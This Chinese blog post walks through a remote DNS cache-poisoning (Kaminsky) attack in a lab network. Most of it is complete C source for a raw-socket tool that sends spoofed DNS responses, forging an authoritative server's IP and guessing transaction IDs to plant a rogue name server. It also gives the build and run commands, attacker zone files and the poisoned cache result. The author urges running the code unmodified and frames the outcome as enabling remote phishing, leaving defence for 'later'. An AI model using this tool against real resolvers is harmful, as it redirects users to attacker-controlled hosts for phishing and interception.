网络安全-远程DNS攻击

钓鱼网站远程DNS攻击

  • 远程DNS攻击
攻击者:192.168.59.129
普通用户:192.168.59.146
DNS服务器:192.168.59.153

攻击环境配置

DNS服务器环境配置

  1. 安装bind9
  2. /etc/bind/named.conf.option文件中添加dump-file "/var/cache/bind/dump.db"
  3. 移除上个实验中的example.comZone信息 在/etc/bind/named.conf.default-zones文件中
  4. 启动DNS服务器 service bind9 start

普通用户环境配置

  1. 禁用DHCP "Edit Connections" -> "Wired connection1" -> "Edit" -> "IPv4 setting" -> "DHCP only" -> "192.168.59.153"
  2. 重启一下网络
  3. /etc/resolv.conf文件中修改nameserver 192.168.59.153

远程DNS Cache中毒

Kaminsky攻击
远程DNS攻击原理如图所示:

远程DNS攻击原理

如何让DNS服务器Cache中毒?
1. TTL约束:域名不能在DNS Cache中存在
2. Guess约束: transaction id必须一致
3. Windows Time约束:伪造包要比真正的DNS服务器返回的包快
解决方案:
1. 构造虚假域名
2. 伪造大量的应答报文 transaction id 16bits
3. 拼速度 我们肯定赢

攻击环境配置

  1. 配置攻击者环境 同普通用户环境配置
  2. 设置DNS服务器源端口 在/etc/bind/named.conf.option文件中添加query-source port 33333;
  3. 设置DNSSEC 在/etc/bind/named.conf.option文件中修改dnssec-enable no;
  4. 刷新Cacherndc flush 重启DNS服务器service bind9 restart

伪造DNS请求应答报文

1.直接运行 不要修改程序任何代码

2.后文提供 bug解决方案

3.第一个参数是普通用户的IP地址!!!

4.第二个参数是DNS服务器的IP地址!!!

参考代码有的地方描述不当 甚至是误导 我把注释都删掉了

// 
// by ailx10 黑客笔记(http://hackbiji.top/) 
//
// 参考代码:https://github.com/zengxyu/Remote-DNS-Attack
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <libnet.h>
#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100

struct ipheader
{
    unsigned char      iph_ihl: 4, iph_ver: 4;
    unsigned char      iph_tos;
    unsigned short int iph_len;
    unsigned short int iph_ident;
    unsigned short int iph_offset;
    unsigned char      iph_ttl;
    unsigned char      iph_protocol;
    unsigned short int iph_chksum;
    unsigned int       iph_sourceip;
    unsigned int       iph_destip;

};

struct udpheader
{
    unsigned short int udph_srcport;
    unsigned short int udph_destport;
    unsigned short int udph_len;
    unsigned short int udph_chksum;
};
struct dnsheader
{
    unsigned short int query_id;
    unsigned short int flags;
    unsigned short int QDCOUNT;
    unsigned short int ANCOUNT;
    unsigned short int NSCOUNT;
    unsigned short int ARCOUNT;
};

struct dataEnd
{
    unsigned short int  type;
    unsigned short int  class;
};

struct ansEnd
{
    unsigned short int type;
    unsigned short int class;
    unsigned short int ttl_l;
    unsigned short int ttl_h;
    unsigned short int datalen;
};

struct nsEnd
{
    unsigned short int type;
    unsigned short int class;
    unsigned short int ttl_l;
    unsigned short int ttl_h;
    unsigned short int datalen;
};

unsigned int checksum(uint16_t *usBuff, int isize)
{
    unsigned int cksum = 0;
    for(; isize > 1; isize -= 2)
    {
        cksum += *usBuff++;
    }
    if(isize == 1)
    {
        cksum += *(uint16_t *)usBuff;
    }

    return (cksum);
}

uint16_t check_udp_sum(uint8_t *buffer, int len)
{
    unsigned long sum = 0;
    struct ipheader *tempI = (struct ipheader *)(buffer);
    struct udpheader *tempH = (struct udpheader *)(buffer + sizeof(struct ipheader));
    struct dnsheader *tempD = (struct dnsheader *)(buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
    tempH->udph_chksum = 0;
    sum = checksum( (uint16_t *)   & (tempI->iph_sourceip) , 8 );
    sum += checksum((uint16_t *) tempH, len);

    sum += ntohs(IPPROTO_UDP + len);

    sum = (sum >> 16) + (sum & 0x0000ffff);
    sum += (sum >> 16);

    return (uint16_t)(~sum);

}

unsigned short csum(unsigned short *buf, int nwords)
{
    unsigned long sum;
    for(sum = 0; nwords > 0; nwords--)
        sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

int response(char *request_url, char *src_addr, char *dest_addr)
{
    int sd;
    char buffer[PCKT_LEN];
    memset(buffer, 0, PCKT_LEN);
    struct ipheader *ip = (struct ipheader *) buffer;
    struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
    struct dnsheader *dns = (struct dnsheader *) (buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
    char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader));

    dns->flags = htons(FLAG_R);
    dns->QDCOUNT = htons(1);
    dns->ANCOUNT = htons(1);
    dns->NSCOUNT = htons(1);
    dns->ARCOUNT = htons(1);

    strcpy(data, request_url);
    int length = strlen(data) + 1;

    struct dataEnd *end = (struct dataEnd *)(data + length);
    end->type = htons(1);
    end->class = htons(1);
    char *ans = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length);

    strcpy(ans, request_url);
    int anslength = strlen(ans) + 1;

    struct ansEnd *ansend = (struct ansEnd *)(ans + anslength);
    ansend->type = htons(1);
    ansend->class = htons(1);
    ansend->ttl_l = htons(0x00);
    ansend->ttl_h = htons(0xD0);
    ansend->datalen = htons(4);

    char *ansaddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength);

    strcpy(ansaddr, "\1\1\1\1");
    int addrlen = strlen(ansaddr);

    char *ns = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen);
    strcpy(ns, "\7example\3com");
    int nslength = strlen(ns) + 1;

    struct nsEnd *nsend = (struct nsEnd *)(ns + nslength);
    nsend->type = htons(2);
    nsend->class = htons(1);
    nsend->ttl_l = htons(0x00);
    nsend->ttl_h = htons(0xD0);
    nsend->datalen = htons(23);

    char *nsname = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength);

    strcpy(nsname, "\2ns\16dnslabattacker\3net");
    int nsnamelen = strlen(nsname) + 1;

    char *ar = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen);
    strcpy(ar, "\2ns\16dnslabattacker\3net");
    int arlength = strlen(ar) + 1;
    struct ansEnd *arend = (struct ansEnd *)(ar + arlength);
    arend->type = htons(1);
    arend->class = htons(1);
    arend->ttl_l = htons(0x00);
    arend->ttl_h = htons(0xD0);
    arend->datalen = htons(4);
    char *araddr = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + sizeof(struct dataEnd) + length + sizeof(struct ansEnd) + anslength + addrlen + sizeof(struct nsEnd) + nslength + nsnamelen + arlength + sizeof(struct ansEnd));

    strcpy(araddr, "\1\1\1\1");
    int araddrlen = strlen(araddr);

    struct sockaddr_in sin, din;
    int one = 1;
    const int *val = &one;
    sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    if(sd < 0 )
        printf("socket error\n");

    sin.sin_family = AF_INET;
    din.sin_family = AF_INET;
    sin.sin_port = htons(33333);
    din.sin_port = htons(53);
    sin.sin_addr.s_addr = inet_addr(src_addr);
    din.sin_addr.s_addr = inet_addr("199.43.135.53");

    ip->iph_ihl = 5;
    ip->iph_ver = 4;
    ip->iph_tos = 0; 

    unsigned short int packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd) + anslength + sizeof( struct ansEnd) + nslength + sizeof(struct nsEnd) + addrlen + nsnamelen + arlength + sizeof(struct ansEnd) + araddrlen); 

    ip->iph_len = htons(packetLength);
    ip->iph_ident = htons(rand()); 
    ip->iph_ttl = 110; 
    ip->iph_protocol = 17; // UDP

    ip->iph_sourceip = inet_addr("199.43.135.53");
    ip->iph_destip = inet_addr(src_addr);
    udp->udph_srcport = htons(53); 
    udp->udph_destport = htons(33333);

    udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd) + anslength + sizeof( struct ansEnd) + nslength + sizeof(struct nsEnd) + addrlen + nsnamelen + arlength + sizeof(struct ansEnd) + araddrlen);

    ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
    udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));

    if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0 )
    {
        printf("error\n");
        exit(-1);
    }

    int count = 0;
    int trans_id = 3000;
    while(count < 100)
    {
        dns->query_id = trans_id + count;
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
        if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
            printf("packet send error %d which means %s\n", errno, strerror(errno));
        count++;
    }
    close(sd);
    return 0;

}

int main(int argc, char *argv[])
{
    if(argc != 3)
    {
        printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP  dest_IP  \n");
        exit(-1);
    }
    int sd;
    char buffer[PCKT_LEN];
    memset(buffer, 0, PCKT_LEN);
    struct ipheader *ip = (struct ipheader *) buffer;
    struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
    struct dnsheader *dns = (struct dnsheader *) (buffer + sizeof(struct ipheader) + sizeof(struct udpheader));
    char *data = (buffer + sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader));

    dns->flags = htons(FLAG_Q);
    dns->QDCOUNT = htons(1);
    strcpy(data, "\5abcde\7example\3com");
    int length = strlen(data) + 1;

    struct dataEnd *end = (struct dataEnd *)(data + length);
    end->type = htons(1);
    end->class = htons(1);

    struct sockaddr_in sin, din;
    int one = 1;
    const int *val = &one;
    dns->query_id = rand();

    sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
    if(sd < 0 )
        printf("socket error\n");

    sin.sin_family = AF_INET;
    din.sin_family = AF_INET;
    sin.sin_port = htons(33333);
    din.sin_port = htons(53);

    sin.sin_addr.s_addr = inet_addr(argv[2]);
    din.sin_addr.s_addr = inet_addr(argv[1]);
    ip->iph_ihl = 5;
    ip->iph_ver = 4;
    ip->iph_tos = 0; 

    unsigned short int packetLength = (sizeof(struct ipheader) + sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd)); 

    ip->iph_len = htons(packetLength);
    ip->iph_ident = htons(rand()); 
    ip->iph_ttl = 110;
    ip->iph_protocol = 17;
    ip->iph_sourceip = inet_addr(argv[1]);
    ip->iph_destip = inet_addr(argv[2]);

    udp->udph_srcport = htons(33333);
    udp->udph_destport = htons(53);
    udp->udph_len = htons(sizeof(struct udpheader) + sizeof(struct dnsheader) + length + sizeof(struct dataEnd));
    ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));
    udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));

    if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one)) < 0 )
    {
        printf("error\n");
        exit(-1);
    }
    while(1)
    {
        int charnumber;
        charnumber = 1 + rand() % 5;
        *(data + charnumber) += 1;
        udp->udph_chksum = check_udp_sum(buffer, packetLength - sizeof(struct ipheader));
        if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
            printf("packet send error %d which means %s\n", errno, strerror(errno));
        sleep(0.01);
        response(data, argv[2], argv[1]);
    }
    close(sd);
    return 0;
}

BUG1解决方案:

root@gt:~/Desktop# gcc -lpcap dns.c -o dns
dns.c:26:10: fatal error: libnet.h: No such file or directory
 #include <libnet.h>
          ^~~~~~~~~~
compilation terminated.
root@gt:~/Desktop# apt-get install libnet1-dev

BUG2解决方案:

root@gt:~/Desktop# gcc -lpcap dns.c -o dns
/usr/bin/ld: cannot find -lpcap
collect2: error: ld returned 1 exit status
root@gt:~/Desktop# apt-get install libpcap-dev

注意:
第一个参数是普通用户的IP地址!!!
第二个参数是DNS服务器的IP地址!!!
hacker@ubuntu:~/Desktop$ sudo ./udp 192.168.59.146 192.168.59.154

验证实验结果

验证实验结果

由于ns.dnslabattacker.net.是假的!无法提供DNS应答!
所以,在本次实验中,我们需要在攻击者的电脑上搭建DNS服务器来模拟ns.dnslabattacker.net.!

配置如下:
DNS服务器环境配置:
1.在/etc/bind/name.conf.default-zones添加:

zone "ns.dnslabattacker.net" {
    type master;
    file "/etc/bind/db.attacker";
};

2.创建文件/etc/bind/db.attacker 内容如下:

;
; BIND data file for local loopback interface
;
$TTL   604800
@   IN  SOA localhost. root.localhost. (
                  2     ; Serial
             604800     ; Refresh
              86400     ; Retry
            2419200     ; Expire
             604800 )   ; Negative Cache TTL
;
@   IN  NS  ns.dnslabattacker.net.
@   IN  A   192.168.59.129
@   IN  AAAA    ::1

攻击者环境配置:
1.在/etc/bind/named.conf.default-zones文件中添加:

zone "example.com" {
    type master;
    file "/etc/bind/example.com.db";
};

2.创建文件/etc/bind/example.com.db 内容如下:

$TTL 3D
@   IN  SOA ns.example.com. admin.example.com. (
        2008111001
        8H
        2H
        4W
        1D)

@   IN  NS  ns.dnslabattacker.net.
@   IN  MX  10 mail.example.com.

www IN  A   1.1.1.1
mail    IN  A   1.1.1.2
*.example.com.  IN  A 1.1.1.100

重启DNS服务器bind9 重启攻击者bind9
sudo service bind9 restart

sudo rndc flush
sudo rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep example.com

运行攻击程序 结果如图所示

运行攻击程序

可以看到

www.example.com.    259200  IN  A   1.1.1.1

说明咱们成功的域名的IP地址修改了 之后就可以放心的超远程钓鱼了!

如何预防远程DNS攻击?
以后再说~

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,457评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,837评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,696评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,183评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,057评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,105评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,520评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,211评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,482评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,574评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,353评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,213评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,576评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,897评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,174评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,489评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,683评论 2 335

推荐阅读更多精彩内容

  • 1. 概述 在网络环境中一般用户只需要在浏览器中输入url如www.sunny.com就可以到对应服务器获取相应的...
    ghbsunny阅读 2,826评论 0 7
  • 一、BIND是什么 BIND是互联网应用最为广泛的DNS软件。 二、BIND的安装与使用 以下内容转自 http:...
    0_0啊阅读 3,021评论 0 0
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,676评论 0 10
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,497评论 18 139
  • 什么是DNS及功能: DNS(Domain name server),是将IP地址转换为域名地址。当在互联网访问外...
    魏镇坪阅读 7,618评论 0 8